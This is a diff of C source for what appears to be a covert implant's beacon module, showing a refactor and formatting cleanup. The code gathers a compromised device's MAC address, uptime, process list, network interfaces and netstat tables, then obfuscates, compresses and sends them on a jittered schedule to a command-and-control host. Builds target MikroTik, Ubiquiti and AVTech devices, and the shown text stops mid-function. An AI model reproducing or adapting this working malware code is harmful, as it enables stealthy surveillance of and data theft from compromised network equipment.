| skipped 17 lines |
18 | 18 | | #include "netstat_an.h" |
19 | 19 | | #include "netstat_rn.h" |
20 | 20 | | #include "compression.h" |
| 21 | + | #include "string_utils.h" |
| 22 | + | #include "dns_protocol.h" |
21 | 23 | | |
| 24 | + | #define Free(x) if ( (x) != NULL ) free((x)); |
22 | 25 | | //****************************************************************** |
23 | 26 | | #if defined LINUX || defined SOLARIS |
24 | 27 | | #include <pthread.h> |
| skipped 4 lines |
29 | 32 | | #endif |
30 | 33 | | |
31 | 34 | | //****************************************************************** |
32 | | - | static int send_beacon_data(BEACONINFO* beaconinfo, unsigned long uptime, int next_beacon); |
33 | | - | static void encrypt_data(unsigned char* src, int src_size, unsigned char* dest, unsigned char* key); |
34 | | - | static int get_printable_mac(unsigned char* dest, unsigned char* src); |
35 | | - | static unsigned int generate_random_bytes(unsigned char * buf, unsigned int size); |
36 | | - | static void extract_key(unsigned char* buf, unsigned char* key); |
37 | | - | static void embedSize(unsigned int size, unsigned char* buf); |
| 35 | + | static int send_beacon_data(BEACONINFO * beaconinfo, unsigned long uptime, int next_beacon); |
| 36 | + | static void encrypt_data(unsigned char *src, int src_size, unsigned char *dest, unsigned char *key); |
| 37 | + | static int get_printable_mac(unsigned char *dest, unsigned char *src); |
| 38 | + | static unsigned int generate_random_bytes(unsigned char *buf, unsigned int size); |
| 39 | + | static void extract_key(unsigned char *buf, unsigned char *key); |
| 40 | + | static void embedSize(unsigned int size, unsigned char *buf); |
38 | 41 | | |
39 | 42 | | //****************************************************************** |
40 | 43 | | //***************** Cross Platform functions *********************** |
| skipped 4 lines |
45 | 48 | | |
46 | 49 | | int calc_jitter(int baseTime, float jitterPercent) |
47 | 50 | | { |
48 | | - | //multiple the percentage by the basetime to get the |
49 | | - | //jitter range. |
| 51 | + | //Multiply the percentage by the baseTime to get the jitter range. |
50 | 52 | | int jitterRange = 0; |
51 | 53 | | |
52 | 54 | | jitterRange = baseTime * jitterPercent; |
53 | | - | //determine if the jitter will be positive or negative. |
54 | | - | if(rand() > RAND_MAX/2) |
55 | | - | { |
56 | | - | //make it positive |
57 | | - | return rand() % jitterRange; |
58 | | - | } |
59 | | - | else |
60 | | - | { |
61 | | - | //make it negative |
62 | | - | return -(rand() % jitterRange); |
| 55 | + | // Determine if the jitter will be positive or negative. |
| 56 | + | if (rand() > RAND_MAX / 2) { |
| 57 | + | return rand() % jitterRange; //make it positive |
| 58 | + | } else { |
| 59 | + | return -(rand() % jitterRange); //make it negative |
63 | 60 | | } |
64 | 61 | | } |
65 | 62 | | |
66 | | - | unsigned int generate_random_bytes(unsigned char * buf, unsigned int size) |
| 63 | + | unsigned int generate_random_bytes(unsigned char *buf, unsigned int size) |
67 | 64 | | { |
68 | 65 | | unsigned int i; |
69 | 66 | | |
70 | | - | for (i=0;i<size;i++) |
71 | | - | { |
72 | | - | buf[i] = (unsigned char)(rand() % 255); |
| 67 | + | for (i = 0; i < size; i++) { |
| 68 | + | buf[i] = (unsigned char) (rand() % 255); |
73 | 69 | | } |
74 | 70 | | |
75 | 71 | | return 0; |
76 | 72 | | } |
77 | 73 | | |
78 | | - | void embedSize(unsigned int size, unsigned char* buf) |
| 74 | + | void embedSize(unsigned int size, unsigned char *buf) |
79 | 75 | | { |
80 | 76 | | unsigned int i; |
81 | 77 | | char sizeStr[30]; |
| skipped 1 lines |
83 | 79 | | |
84 | 80 | | memset(sizeStr, 0, 30); |
85 | 81 | | memset(data, 0, 30); |
86 | | - | sprintf( sizeStr, "%u", size); |
| 82 | + | sprintf(sizeStr, "%u", size); |
87 | 83 | | |
88 | 84 | | data[0] = strlen(sizeStr) ^ XOR_KEY; |
89 | 85 | | |
90 | | - | for(i = 0; i < strlen(sizeStr) + 1; i++) |
91 | | - | { |
92 | | - | data[i+1] = sizeStr[i] ^ XOR_KEY; |
| 86 | + | for (i = 0; i < strlen(sizeStr) + 1; i++) { |
| 87 | + | data[i + 1] = sizeStr[i] ^ XOR_KEY; |
93 | 88 | | } |
94 | 89 | | |
95 | | - | memcpy(buf,data,strlen(sizeStr)+1); |
| 90 | + | memcpy(buf, data, strlen(sizeStr) + 1); |
96 | 91 | | } |
97 | 92 | | |
98 | | - | int beacon_start( char *beaconIP, int beaconPort, unsigned long initialDelay, int interval,float jitter) |
| 93 | + | int beacon_start(BEACONINFO *beaconInfo) |
99 | 94 | | { |
100 | | - | BEACONINFO *beaconInfo = NULL; |
101 | 95 | | int numTries = 0; |
102 | 96 | | |
103 | | - | //TODO: check malloc() return value |
104 | | - | beaconInfo = (BEACONINFO *)malloc( sizeof( BEACONINFO )); |
105 | | - | memset( beaconInfo, 0, sizeof( BEACONINFO ) ); |
106 | | - | |
107 | | - | //initalize IP string |
108 | | - | //TODO: check malloc() return value |
109 | | - | beaconInfo->ip = (char*) malloc( strlen( beaconIP ) + 1 ); |
110 | | - | |
111 | | - | //setup beacon stuct |
112 | | - | memcpy( beaconInfo->ip,beaconIP, strlen( beaconIP ) + 1 ); |
113 | | - | beaconInfo->port = beaconPort; |
114 | | - | beaconInfo->initDelay = initialDelay; |
115 | | - | beaconInfo->interval = interval; |
116 | | - | beaconInfo->percentVariance = jitter; |
117 | | - | while(numTries != 5) |
118 | | - | { |
119 | | - | if( GetMacAddr(beaconInfo->macAddr) != SUCCESS) |
120 | | - | { |
| 97 | + | while (numTries != 5) { |
| 98 | + | if (GetMacAddr(beaconInfo->macAddr) != SUCCESS) { |
121 | 99 | | numTries++; |
122 | | - | if( numTries == 5) |
123 | | - | { |
| 100 | + | if (numTries == 5) { |
124 | 101 | | DLX(1, printf("ERROR: failed to pull MAC address\n")); |
125 | | - | return FAILURE; |
| 102 | + | return FAILURE; |
126 | 103 | | } |
127 | | - | } |
128 | | - | else |
129 | | - | { |
| 104 | + | } else { |
130 | 105 | | break; |
131 | 106 | | } |
132 | 107 | | // TODO: should this be Sleep( 60 * 100 ); ??? |
133 | 108 | | sleep(60); |
134 | 109 | | } |
135 | | - | |
136 | | - | // NOTE: on Solaris 7, anything the thread writes to stdout, |
137 | | - | // or stderr will not be displayed on the main console output. |
138 | | - | // This default behavior is analogous to daemonizing the thread |
139 | | - | |
140 | | - | #if defined __EFENCE__ || defined __VALGRIND__ |
141 | | - | if ( beacon( (void *)beaconInfo ) != SUCCESS ) |
142 | | - | { |
143 | | - | DLX(1, printf( " ERROR: failed to create beacon thread\n" )); |
144 | | - | return FAILURE; |
145 | | - | } |
146 | | - | else |
147 | | - | { |
148 | | - | goto not_reached; |
149 | | - | } |
150 | | - | #endif |
151 | | - | if ( make_thread( beacon, (void *)beaconInfo ) != SUCCESS ) |
152 | | - | { |
153 | | - | DLX(1, printf( " ERROR: failed to create beacon thread\n" )); |
| 110 | + | if (make_thread(beacon, (void *) beaconInfo) != SUCCESS) { |
| 111 | + | DLX(1, printf(" ERROR: failed to create beacon thread\n")); |
154 | 112 | | return FAILURE; |
155 | 113 | | } |
156 | 114 | | |
157 | 115 | | return SUCCESS; |
158 | | - | |
159 | | - | // NOT REACHED |
160 | | - | //not_reached: |
161 | | - | // free( beaconInfo->ip ); |
162 | | - | // free( beaconInfo ); |
163 | | - | return SUCCESS; |
164 | 116 | | } |
165 | 117 | | |
166 | | - | //****************************************************************** |
167 | | - | // TODO: UNIX pthreads calls function that returns a void pointer? |
168 | | - | // is Windows flexible, if not, we can still be portable by defining a new |
169 | | - | // return type and having that defined, specifically, at compile time |
170 | | - | |
171 | | - | void *beacon(void* param) |
| 118 | + | void *beacon(void *param) |
172 | 119 | | { |
173 | 120 | | unsigned long secondsUp = 0; |
174 | | - | int ret = 0; |
175 | 121 | | int beaconInterval = 0; |
176 | 122 | | int jitter = 0; |
177 | | - | BEACONINFO *beaconInfo = (BEACONINFO *)param; |
| 123 | + | int i; |
| 124 | + | struct in_addr beaconIPaddr; |
| 125 | + | BEACONINFO *beaconInfo; |
178 | 126 | | |
179 | | - | #ifdef __VALGRIND__ |
180 | | - | int counter = 0; |
181 | | - | #endif |
| 127 | + | beaconInfo = (BEACONINFO *) param; |
| 128 | + | DLX(4, printf("Starting beacon thread with initial beacon delay of %ld seconds\n", beaconInfo->initDelay / 1000)); |
| 129 | + | Sleep(beaconInfo->initDelay); // Wait for initial delay |
182 | 130 | | |
183 | | - | DLX(4, printf ( "Starting beacon thread with initial beacon delay of %d seconds\n", beaconInfo->initDelay/1000)); |
| 131 | + | for (;;) { // Beacon Loop |
| 132 | + | secondsUp = GetSystemUpTime(); // Get system uptime |
| 133 | + | DLX(4, printf("\tSystem uptime is %ld\n", secondsUp)); |
184 | 134 | | |
185 | | - | //Wait out initial delay |
186 | | - | Sleep(beaconInfo->initDelay); |
| 135 | + | // Resolve beacon IP address |
| 136 | + | if (inet_pton(AF_INET, beaconInfo->host, &beaconIPaddr) <= 0) { // Determine if beacon host is an name or dotted-quad address |
| 137 | + | for (i = 0; i < 2; i++) { |
| 138 | + | if (strlen(beaconInfo->dns[i])) |
| 139 | + | DLX(4, printf("\tPerforming DNS lookup for %s using DNS server at %s.\n", beaconInfo->host, beaconInfo->dns[i])); |
| 140 | + | if ( (beaconInfo->ip = dns_resolv(beaconInfo->host, beaconInfo->dns[i])) ) |
| 141 | + | break; |
| 142 | + | } |
| 143 | + | if (beaconInfo->ip == NULL) { |
| 144 | + | DLX(4, printf("\tBeacon host could not be resolved.\n")); |
| 145 | + | goto sleep; // Try again next beacon interval |
| 146 | + | } |
| 147 | + | } else |
| 148 | + | beaconInfo->ip = strdup(beaconInfo->host); // IF beaconInfo-> host was an IP address, clone it (so it can be freed later) |
187 | 149 | | |
188 | | - | secondsUp = GetSystemUpTime(); |
189 | | - | DLX(1, printf("System uptime is %ld seconds\n", secondsUp)); |
190 | | - | |
191 | | - | //Send initial beacon back |
192 | | - | |
193 | | - | // TODO: SendBeaconData does not handle errors returned |
194 | | - | if (beaconInfo->percentVariance > 0) |
195 | | - | { |
196 | | - | //get jitter |
197 | | - | jitter = calc_jitter(beaconInfo->interval, beaconInfo->percentVariance); |
198 | | - | //calculate new interval |
199 | | - | beaconInterval = beaconInfo->interval + jitter; |
200 | | - | } |
201 | | - | else |
202 | | - | { |
203 | | - | beaconInterval = beaconInfo->interval; |
204 | | - | } |
205 | | - | DLX(2, printf( "Sending [first] beacon data\n" )); |
206 | | - | ret = send_beacon_data(beaconInfo,secondsUp,beaconInterval); |
207 | | - | |
208 | | - | #if defined __EFENCE__ || defined __VALGRIND__ |
209 | | - | // if ( COUNTER_LIMIT == 0 ) goto not_reached; |
210 | | - | #endif |
211 | | - | |
212 | | - | //Loop that gets uptime |
213 | | - | for(;;) |
214 | | - | { |
215 | | - | //Sleep for the length of the interval |
216 | | - | DLX(4, printf ("\tStarting beacon interval of %d seconds.\n", beaconInfo->interval/1000)); |
217 | | - | Sleep(beaconInterval); |
218 | | - | |
219 | | - | if (beaconInfo->percentVariance > 0) |
220 | | - | { |
221 | | - | //get jitter |
222 | | - | jitter = calc_jitter(beaconInfo->interval, beaconInfo->percentVariance); |
223 | | - | //calculate new interval |
| 150 | + | if (beaconInfo->percentVariance > 0) { |
| 151 | + | DLX(4, printf("Variance = %f\n", beaconInfo->percentVariance)); |
| 152 | + | jitter = calc_jitter(beaconInfo->interval, beaconInfo->percentVariance); // Get jitter and calculate new interval |
| 153 | + | DLX(4, printf("Jitter = %d\n", jitter)); |
224 | 154 | | beaconInterval = beaconInfo->interval + jitter; |
225 | | - | } |
226 | | - | else |
227 | | - | { |
| 155 | + | DLX(4, printf("Beacon Interval = %d\n", beaconInterval)); |
| 156 | + | } else { |
228 | 157 | | beaconInterval = beaconInfo->interval; |
229 | 158 | | } |
230 | 159 | | |
231 | | - | //get system uptime |
232 | | - | secondsUp = GetSystemUpTime(); |
233 | | - | DLX(4, printf( "\tSystem uptime is %ld\n", secondsUp)); |
234 | | - | |
235 | | - | //Beacon back |
236 | 160 | | // TODO: SendBeaconData does not handle errors returned |
237 | | - | DLX(4, printf( "\tSending beacon data\n")); |
238 | | - | ret = send_beacon_data(beaconInfo,secondsUp,beaconInterval); |
239 | | - | if(ret == SUCCESS) { |
240 | | - | update_file((char*)sdcfp); |
| 161 | + | DLX(4, printf("\tSending beacon\n")); |
| 162 | + | if (send_beacon_data(beaconInfo, secondsUp, beaconInterval) == SUCCESS) { |
| 163 | + | update_file((char *) sdcfp); |
241 | 164 | | } else { |
242 | | - | DLX(4, printf( "\tSend of beacon data failed\n")); |
| 165 | + | DLX(4, printf("\tSend of beacon failed\n")); |
243 | 166 | | } |
244 | | - | #ifdef __VALGRIND__ |
245 | | - | if ( ++counter > 10 ) goto not_reached; |
246 | | - | #endif |
| 167 | + | Free(beaconInfo->ip); |
| 168 | + | |
| 169 | + | sleep: |
| 170 | + | DLX(4, printf("\tSending next beacon in %d seconds.\n", beaconInterval / 1000)); |
| 171 | + | Sleep(beaconInterval); //Sleep for the length of the interval |
247 | 172 | | |
248 | 173 | | } |
249 | 174 | | |
250 | | - | // NOT REACHED |
251 | | - | #ifdef __VALGRIND__ |
252 | | - | not_reached: |
253 | | - | terminate_thread(); |
254 | | - | #endif |
255 | | - | |
256 | | - | return (void *)NULL; |
| 175 | + | return (void *) NULL; |
257 | 176 | | } |
258 | 177 | | |
259 | 178 | | #include <stdlib.h> |
260 | 179 | | //****************************************************************** |
261 | | - | static int send_beacon_data(BEACONINFO* beaconInfo, unsigned long uptime, int next_beacon) |
| 180 | + | static int send_beacon_data(BEACONINFO * beaconInfo, unsigned long uptime, int next_beacon) |
262 | 181 | | { |
263 | | - | int sock = 0; |
264 | | - | int retval = 0; |
265 | | - | int size = 0; |
266 | | - | int defaultBufSize = 3000; |
267 | | - | unsigned int packetSize = 0; |
268 | | - | unsigned int compressedPacketSize = 0; |
269 | | - | int encrypt_size = 0; |
270 | | - | int bytes_sent = 0; |
271 | | - | int sz_to_send = 0; |
272 | | - | int recv_sz = 0; |
273 | | - | char temp[1024]; |
274 | | - | char recv_buf[30]; |
275 | | - | //unsigned char* cmd_str = NULL; |
276 | | - | unsigned char* enc_buf = NULL; |
277 | | - | unsigned char* packet = NULL; |
278 | | - | unsigned char* compressed_packet = NULL; |
279 | | - | unsigned char* ptr = NULL; |
280 | | - | unsigned char randData[64]; |
281 | | - | unsigned char key[16]; |
| 182 | + | int sock = 0; |
| 183 | + | int retval = 0; |
| 184 | + | int size = 0; |
| 185 | + | int defaultBufSize = 3000; |
| 186 | + | unsigned int packetSize = 0; |
| 187 | + | unsigned int compressedPacketSize = 0; |
| 188 | + | int encrypt_size = 0; |
| 189 | + | int bytes_sent = 0; |
| 190 | + | int sz_to_send = 0; |
| 191 | + | int recv_sz = 0; |
| 192 | + | char temp[1024]; |
| 193 | + | char recv_buf[30]; |
| 194 | + | //unsigned char* cmd_str = NULL; |
| 195 | + | unsigned char *enc_buf = NULL; |
| 196 | + | unsigned char *packet = NULL; |
| 197 | + | unsigned char *compressed_packet = NULL; |
| 198 | + | unsigned char *ptr = NULL; |
| 199 | + | unsigned char randData[64]; |
| 200 | + | unsigned char key[16]; |
282 | 201 | | |
283 | 202 | | //beacon packet structs |
284 | | - | BEACON_HDR bhdr; |
285 | | - | ADD_HDR mac_hdr; |
286 | | - | ADD_HDR uptime_hdr; |
287 | | - | ADD_HDR proc_list_hdr; |
288 | | - | ADD_HDR ipconfig_hdr; |
289 | | - | ADD_HDR netstat_rn_hdr; |
290 | | - | ADD_HDR netstat_an_hdr; |
291 | | - | ADD_HDR next_beacon_hdr; |
292 | | - | ADD_HDR end_hdr; |
| 203 | + | BEACON_HDR bhdr; |
| 204 | + | ADD_HDR mac_hdr; |
| 205 | + | ADD_HDR uptime_hdr; |
| 206 | + | ADD_HDR proc_list_hdr; |
| 207 | + | ADD_HDR ipconfig_hdr; |
| 208 | + | ADD_HDR netstat_rn_hdr; |
| 209 | + | ADD_HDR netstat_an_hdr; |
| 210 | + | ADD_HDR next_beacon_hdr; |
| 211 | + | ADD_HDR end_hdr; |
293 | 212 | | |
294 | 213 | | //beacon packet sizes. (used for memcpy) |
295 | 214 | | unsigned short mac_len = 0; |
| skipped 5 lines |
301 | 220 | | unsigned short next_beacon_len = 0; |
302 | 221 | | |
303 | 222 | | //beacon data strings |
304 | | - | unsigned char* mac_data = NULL; |
305 | | - | unsigned char* uptime_data = NULL; |
306 | | - | unsigned char* proc_list_data = NULL; |
307 | | - | unsigned char* ipconfig_data = NULL; |
308 | | - | unsigned char* netstat_rn_data = NULL; |
309 | | - | unsigned char* netstat_an_data = NULL; |
310 | | - | unsigned char* next_beacon_data = NULL; |
| 223 | + | unsigned char *mac_data = NULL; |
| 224 | + | unsigned char *uptime_data = NULL; |
| 225 | + | unsigned char *proc_list_data = NULL; |
| 226 | + | unsigned char *ipconfig_data = NULL; |
| 227 | + | unsigned char *netstat_rn_data = NULL; |
| 228 | + | unsigned char *netstat_an_data = NULL; |
| 229 | + | unsigned char *next_beacon_data = NULL; |
311 | 230 | | |
312 | | - | crypt_context *beacon_io = NULL; // Command and control I/O connection context |
| 231 | + | crypt_context *beacon_io = NULL; // Command and control I/O connection context |
313 | 232 | | |
314 | 233 | | memset(temp, 0, 1024); |
315 | 234 | | |
316 | 235 | | //Populate Beacon Header |
317 | | - | bhdr.os = 0; |
| 236 | + | bhdr.os = BH_UNDEFINED; |
| 237 | + | |
318 | 238 | | #if defined AVTECH_ARM |
319 | | - | bhdr.os = htons(BH_AVTECH_ARM); |
| 239 | + | bhdr.os = BH_AVTECH_ARM; |
320 | 240 | | |
321 | 241 | | #elif defined MIKROTIK |
322 | | - | #if defined _PPC |
323 | | - | bhdr.os = htons(BH_MIKROTIK_PPC); |
324 | | - | #elif defined _MIPS |
325 | | - | bhdr.os = htons(BH_MIKROTIK_MIPS); |
326 | | - | #elif defined _MIPSEL |
327 | | - | bhdr.os = htons(BH_MIKROTIK_MIPSEL); |
328 | | - | #elif defined _X86 |
329 | | - | bhdr.os = htons(BH_MIKROTIK_X86); |
330 | | - | #endif |
| 242 | + | #if defined _PPC |
| 243 | + | bhdr.os = BH_MIKROTIK_PPC; |
| 244 | + | #elif defined _MIPS |
| 245 | + | bhdr.os = BH_MIKROTIK_MIPS; |
| 246 | + | #elif defined _MIPSEL |
| 247 | + | bhdr.os = BH_MIKROTIK_MIPSEL; |
| 248 | + | #elif defined _X86 |
| 249 | + | bhdr.os = BH_MIKROTIK_X86; |
| 250 | + | #endif |
331 | 251 | | |
332 | 252 | | #elif (defined LINUX) && (!defined UBIQUITI) |
333 | | - | #if defined _X86 |
334 | | - | bhdr.os = htons(BH_LINUX_X86); |
335 | | - | #elif defined _X86_64 |
336 | | - | bhdr.os = htons(BH_LINUX_X86_64); |
337 | | - | #endif |
| 253 | + | #if defined _X86 |
| 254 | + | bhdr.os = BH_LINUX_X86; |
| 255 | + | #elif defined _X86_64 |
| 256 | + | bhdr.os = BH_LINUX_X86_64; |
| 257 | + | #endif |
338 | 258 | | |
339 | 259 | | #elif defined UBIQUITI |
340 | | - | bhdr.os = htons(BH_UBIQUITI_MIPS); |
| 260 | + | bhdr.os = BH_UBIQUITI_MIPS; |
341 | 261 | | |
342 | 262 | | #else |
343 | | - | #error "ARCHITECTURE NOT DEFINED" |
| 263 | + | #error "ARCHITECTURE NOT DEFINED" |
344 | 264 | | #endif |
345 | 265 | | |
346 | | - | //TODO: Change this number whenever the version changes. |
347 | | - | bhdr.version = htons(29); |
| 266 | + | bhdr.version = BEACON_HEADER_VERSION; |
348 | 267 | | DLX(4, printf("\tBEACON HEADER: version: %i, os: %i\n", bhdr.version, bhdr.os)); |
| 268 | + | DLX(4, printf("\tBEACON DATA CHECK: IP: %s, Port: %d\n", beaconInfo->ip, beaconInfo->port)); |
| 269 | + | bhdr.version = htons(BEACON_HEADER_VERSION); //TODO: Change this number whenever the version changes. |
| 270 | + | bhdr.os = htons(bhdr.os); // Convert for network byte order |
349 | 271 | | |
350 | 272 | | //Populate Additional Headers |
351 | | - | //mac address |
| 273 | + | // MAC address |
352 | 274 | | mac_hdr.type = htons(MAC); |
353 | | - | mac_data = (unsigned char*) malloc(MAC_ADDR_LEN_FORMATTED); |
354 | | - | if(mac_data != NULL) |
355 | | - | { |
| 275 | + | mac_data = (unsigned char *) malloc(MAC_ADDR_LEN_FORMATTED); |
| 276 | + | if (mac_data != NULL) { |
356 | 277 | | memset(mac_data, 0, MAC_ADDR_LEN_FORMATTED); |
357 | 278 | | get_printable_mac(mac_data, beaconInfo->macAddr); |
358 | 279 | | } |
359 | | - | mac_len = strlen((char *)mac_data); |
| 280 | + | mac_len = strlen((char *) mac_data); |
360 | 281 | | mac_hdr.length = htons(mac_len); |
361 | | - | //uptime |
| 282 | + | |
| 283 | + | // Uptime |
362 | 284 | | uptime_hdr.type = htons(UPTIME); |
363 | | - | memset( temp, 0, 1024); |
364 | | - | sprintf( temp, "%lu", uptime); |
365 | | - | uptime_len = strlen(temp)+1; |
| 285 | + | memset(temp, 0, 1024); |
| 286 | + | sprintf(temp, "%lu", uptime); |
| 287 | + | uptime_len = strlen(temp) + 1; |
366 | 288 | | uptime_hdr.length = htons(uptime_len); |
367 | 289 | | |
368 | | - | uptime_data = (unsigned char*) malloc(uptime_len); |
369 | | - | if(uptime_data != NULL) |
370 | | - | { |
371 | | - | memset(uptime_data,0,uptime_len); |
372 | | - | memcpy(uptime_data,temp,uptime_len); |
| 290 | + | uptime_data = (unsigned char *) malloc(uptime_len); |
| 291 | + | if (uptime_data != NULL) { |
| 292 | + | memset(uptime_data, 0, uptime_len); |
| 293 | + | memcpy(uptime_data, temp, uptime_len); |
373 | 294 | | } |
374 | | - | |
375 | | - | //next beacon time in seconds |
| 295 | + | // Next-beacon time in seconds |
376 | 296 | | next_beacon_hdr.type = htons(NEXT_BEACON_TIME); |
377 | 297 | | memset(temp, 0, 1024); |
378 | | - | sprintf(temp, "%d", (next_beacon/1000)); |
| 298 | + | sprintf(temp, "%d", (next_beacon / 1000)); |
379 | 299 | | |
380 | 300 | | next_beacon_len = strlen(temp); |
381 | 301 | | next_beacon_hdr.length = htons(next_beacon_len); |
382 | 302 | | |
383 | | - | next_beacon_data = (unsigned char*) malloc(next_beacon_len); |
384 | | - | if(next_beacon_data != NULL) |
385 | | - | { |
| 303 | + | next_beacon_data = (unsigned char *) malloc(next_beacon_len); |
| 304 | + | if (next_beacon_data != NULL) { |
386 | 305 | | memset(next_beacon_data, 0, next_beacon_len); |
387 | 306 | | memcpy(next_beacon_data, temp, next_beacon_len); |
388 | 307 | | } |
389 | | - | |
390 | | - | //process list |
| 308 | + | // Process list |
391 | 309 | | proc_list_hdr.type = htons(PROCESS_LIST); |
392 | 310 | | //TODO: check malloc() return value |
393 | 311 | | proc_list_data = get_process_list(&size); |
394 | | - | if( proc_list_data == NULL) |
395 | | - | { |
| 312 | + | if (proc_list_data == NULL) { |
396 | 313 | | proc_list_len = 0; |
397 | | - | } |
398 | | - | else |
399 | | - | { |
| 314 | + | } else { |
400 | 315 | | proc_list_len = size; |
401 | 316 | | } |
402 | 317 | | proc_list_hdr.length = htons(proc_list_len); |
| skipped 3 lines |
406 | 321 | | //ipconfig |
407 | 322 | | ipconfig_hdr.type = htons(IPCONFIG); |
408 | 323 | | ipconfig_data = get_ifconfig(&size); |
409 | | - | if(ipconfig_data == NULL) |
410 | | - | { |
| 324 | + | if (ipconfig_data == NULL) { |
411 | 325 | | ipconfig_len = 0; |
412 | | - | } |
413 | | - | else |
414 | | - | { |
| 326 | + | } else { |
415 | 327 | | ipconfig_len = size; |
416 | 328 | | } |
417 | 329 | | |
| skipped 5 lines |
423 | 335 | | |
424 | 336 | | netstat_rn_hdr.type = htons(NETSTAT_RN); |
425 | 337 | | netstat_rn_data = get_netstat_rn(&size); |
426 | | - | if(netstat_rn_data == NULL) |
427 | | - | { |
| 338 | + | if (netstat_rn_data == NULL) { |
428 | 339 | | netstat_rn_len = 0; |
429 | | - | } |
430 | | - | else |
431 | | - | { |
| 340 | + | } else { |
432 | 341 | | netstat_rn_len = size; |
433 | 342 | | } |
434 | 343 | | netstat_rn_hdr.length = htons(netstat_rn_len); |
| skipped 2 lines |
437 | 346 | | //netstat -an |
438 | 347 | | netstat_an_hdr.type = htons(NETSTAT_AN); |
439 | 348 | | netstat_an_data = get_netstat_an(&size); |
440 | | - | if(netstat_an_data == NULL) |
441 | | - | { |
| 349 | + | if (netstat_an_data == NULL) { |
442 | 350 | | netstat_an_len = 0; |
443 | | - | } |
444 | | - | else |
445 | | - | { |
| 351 | + | } else { |
446 | 352 | | netstat_an_len = size; |
447 | 353 | | } |
448 | 354 | | netstat_an_hdr.length = htons(netstat_an_len); |
| skipped 9 lines |
458 | 364 | | packetSize = (sizeof(ADD_HDR) * 8) + mac_len + uptime_len + |
459 | 365 | | proc_list_len + ipconfig_len + netstat_rn_len + netstat_an_len + next_beacon_len; |
460 | 366 | | |
461 | | - | packet = (unsigned char*) malloc(packetSize); |
462 | | - | if( packet == NULL) |
463 | | - | { |
| 367 | + | packet = (unsigned char *) malloc(packetSize); |
| 368 | + | if (packet == NULL) { |
464 | 369 | | DLX(1, printf("Not enough memory to allocate packet!")); |
465 | 370 | | goto EXIT; |
466 | 371 | | } |
| skipped 1 lines |
468 | 373 | | ptr = packet; |
469 | 374 | | |
470 | 375 | | //copy in mac hdr |
471 | | - | memcpy(ptr,(unsigned char*)&mac_hdr, sizeof(mac_hdr)); |
| 376 | + | memcpy(ptr, (unsigned char *) &mac_hdr, sizeof(mac_hdr)); |
472 | 377 | | ptr += sizeof(ADD_HDR); |
473 | 378 | | //copy in mac addr |
474 | | - | memcpy(ptr,mac_data, mac_len); |
| 379 | + | memcpy(ptr, mac_data, mac_len); |
475 | 380 | | ptr += mac_len; |
476 | 381 | | //copy in uptime hdr |
477 | | - | memcpy(ptr,(unsigned char*)&uptime_hdr, sizeof(uptime_hdr)); |
| 382 | + | memcpy(ptr, (unsigned char *) &uptime_hdr, sizeof(uptime_hdr)); |
478 | 383 | | ptr += sizeof(ADD_HDR); |
479 | 384 | | //copy in uptime data |
480 | | - | memcpy(ptr,uptime_data, uptime_len); |
| 385 | + | memcpy(ptr, uptime_data, uptime_len); |
481 | 386 | | ptr += uptime_len; |
482 | 387 | | //copy in next beacon hdr |
483 | | - | memcpy(ptr,(unsigned char*)&next_beacon_hdr,sizeof(next_beacon_hdr)); |
| 388 | + | memcpy(ptr, (unsigned char *) &next_beacon_hdr, sizeof(next_beacon_hdr)); |
484 | 389 | | ptr += sizeof(ADD_HDR); |
485 | 390 | | //copy in next beacon data |
486 | | - | memcpy(ptr,next_beacon_data,next_beacon_len); |
| 391 | + | memcpy(ptr, next_beacon_data, next_beacon_len); |
487 | 392 | | ptr += next_beacon_len; |
488 | 393 | | //copy in process list hdr |
489 | | - | if(proc_list_data != NULL) |
490 | | - | { |
491 | | - | memcpy(ptr,(unsigned char*)&proc_list_hdr, sizeof(proc_list_hdr)); |
| 394 | + | if (proc_list_data != NULL) { |
| 395 | + | memcpy(ptr, (unsigned char *) &proc_list_hdr, sizeof(proc_list_hdr)); |
492 | 396 | | ptr += sizeof(ADD_HDR); |
493 | 397 | | //copy in process list |
494 | | - | memcpy(ptr,proc_list_data, proc_list_len); |
| 398 | + | memcpy(ptr, proc_list_data, proc_list_len); |
495 | 399 | | ptr += proc_list_len; |
496 | 400 | | } |
497 | 401 | | //copy in ipconfig hdr |
498 | | - | if(ipconfig_data != NULL) |
499 | | - | { |
500 | | - | memcpy(ptr,(unsigned char*)&ipconfig_hdr, sizeof(ipconfig_hdr)); |
| 402 | + | if (ipconfig_data != NULL) { |
| 403 | + | memcpy(ptr, (unsigned char *) &ipconfig_hdr, sizeof(ipconfig_hdr)); |
501 | 404 | | ptr += sizeof(ADD_HDR); |
502 | 405 | | //copy in ipconfig data |
503 | | - | memcpy(ptr,ipconfig_data, ipconfig_len); |
| 406 | + | memcpy(ptr, ipconfig_data, ipconfig_len); |
504 | 407 | | ptr += ipconfig_len; |
505 | 408 | | } |
506 | 409 | | //copy in netstat hdr |
507 | | - | if(netstat_rn_data != NULL) |
508 | | - | { |
509 | | - | memcpy(ptr,(unsigned char*)&netstat_rn_hdr, sizeof(netstat_rn_hdr)); |
| 410 | + | if (netstat_rn_data != NULL) { |
| 411 | + | memcpy(ptr, (unsigned char *) &netstat_rn_hdr, sizeof(netstat_rn_hdr)); |
510 | 412 | | ptr += sizeof(ADD_HDR); |
511 | 413 | | //copy in netstat data |
512 | | - | memcpy(ptr,netstat_rn_data,netstat_rn_len); |
| 414 | + | memcpy(ptr, netstat_rn_data, netstat_rn_len); |
513 | 415 | | ptr += netstat_rn_len; |
514 | 416 | | } |
515 | | - | |
516 | 417 | | //copy in netstat hdr |
517 | | - | if(netstat_an_data != NULL) |
518 | | - | { |
519 | | - | memcpy(ptr,(unsigned char*)&netstat_an_hdr, sizeof(netstat_an_hdr)); |
| 418 | + | if (netstat_an_data != NULL) { |
| 419 | + | memcpy(ptr, (unsigned char *) &netstat_an_hdr, sizeof(netstat_an_hdr)); |
520 | 420 | | ptr += sizeof(ADD_HDR); |
521 | 421 | | //copy in netstat data |
522 | | - | memcpy(ptr,netstat_an_data,netstat_an_len); |
| 422 | + | memcpy(ptr, netstat_an_data, netstat_an_len); |
523 | 423 | | ptr += netstat_an_len; |
524 | 424 | | } |
525 | | - | |
526 | 425 | | //add closing header |
527 | | - | memcpy(ptr, (unsigned char*)&end_hdr, sizeof(end_hdr)); |
| 426 | + | memcpy(ptr, (unsigned char *) &end_hdr, sizeof(end_hdr)); |
528 | 427 | | |
529 | 428 | | ptr = NULL; |
530 | 429 | | |
531 | 430 | | //compress packet |
532 | | - | compressed_packet = compress_packet(packet,packetSize,&compressedPacketSize); |
